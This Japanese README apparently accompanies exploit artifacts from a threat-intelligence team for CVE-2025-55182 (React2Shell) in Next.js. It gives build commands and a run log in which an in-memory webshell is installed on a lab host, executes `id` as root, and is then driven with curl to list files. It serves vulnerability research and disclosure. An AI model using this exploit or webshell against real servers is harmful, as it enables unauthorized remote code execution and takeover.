CVE-2025-55182: エクスプロイテーション成果物

CVE-2025-55182 React2Shell脆弱性に関するVulnCheck Initial Access Intelligenceの成果物の小さなサブセットのエクスポートです。これらの成果物に関するチームの観察の一部は、ブログ記事で読むことができます。

目次

• ./inmem-webshell - インメモリウェブシェルのバリアント

ビルド

すべてのコンポーネントは、当社のエクスプロイトフレームワーク go-exploit からビルドされています。各ディレクトリには、注目すべき成果物のコピーが含まれています。

golangci-lint と GNU make が使えるGoビルド環境があれば、make を使用できます：

$ make
gofmt -d -w cve-2025-55182.go
golangci-lint run --fix --timeout 3m cve-2025-55182.go
0 issues.
GOOS=linux GOARCH=amd64 go build  -o build/cve-2025-55182_linux-amd64 cve-2025-55182.go

エクスプロイトをDockerイメージにビルドするには、次のように簡単に行えます：

make docker

インメモリNextJSウェブシェル

これはReact2Shellを使用したnext.jsに対するインメモリウェブシェルの実装です。最初にこの実演を見たのは こちら です。ウェブシェルは攻撃ごとにランダム化されます。

poptart@grimm $ ./build/cve-2025-55182_linux-amd64 -rhost 172.17.0.1 -rport 3000 -e
time=2025-12-08T15:28:06.892-07:00 level=STATUS msg="Starting target" index=0 host=172.17.0.1 port=3000 ssl=false "ssl auto"=false
time=2025-12-08T15:28:06.892-07:00 level=STATUS msg="Generating webshell payload"
time=2025-12-08T15:28:06.893-07:00 level=STATUS msg="Uploading webshell to target"
time=2025-12-08T15:28:16.902-07:00 level=ERROR msg="HTTP request error: Post \"http://172.17.0.1:3000/\": context deadline exceeded (Client.Timeout exceeded while awaiting headers)"
time=2025-12-08T15:28:16.902-07:00 level=SUCCESS msg="Webshell installed!" location=http://172.17.0.1:3000/UByGoR
time=2025-12-08T15:28:16.902-07:00 level=STATUS msg="Testing `id`" testurl="http://172.17.0.1:3000/UByGoR?z=id"
time=2025-12-08T15:28:16.917-07:00 level=SUCCESS msg="uid=0(root) gid=0(root) groups=0(root)\n"
time=2025-12-08T15:28:16.917-07:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
poptart@grimm $ curl http://172.17.0.1:3000/UByGoR?z=ls%20-l
total 72
-rw-r--r--   1 root root     77 Dec  4 23:41 jsconfig.json
-rw-r--r--   1 root root     92 Dec  4 23:41 next.config.mjs
drwxr-xr-x 172 root root    173 Dec  4 23:41 node_modules
-rw-r--r--   1 root root  16384 Dec  4 23:41 notes.db
-rw-r--r--   1 root root 123663 Dec  4 23:41 package-lock.json
-rw-r--r--   1 root root    467 Dec  4 23:41 package.json
-rw-r--r--   1 root root   6028 Dec  4 23:41 seed.sql
drwxr-xr-x   3 root root      3 Dec  4 23:41 src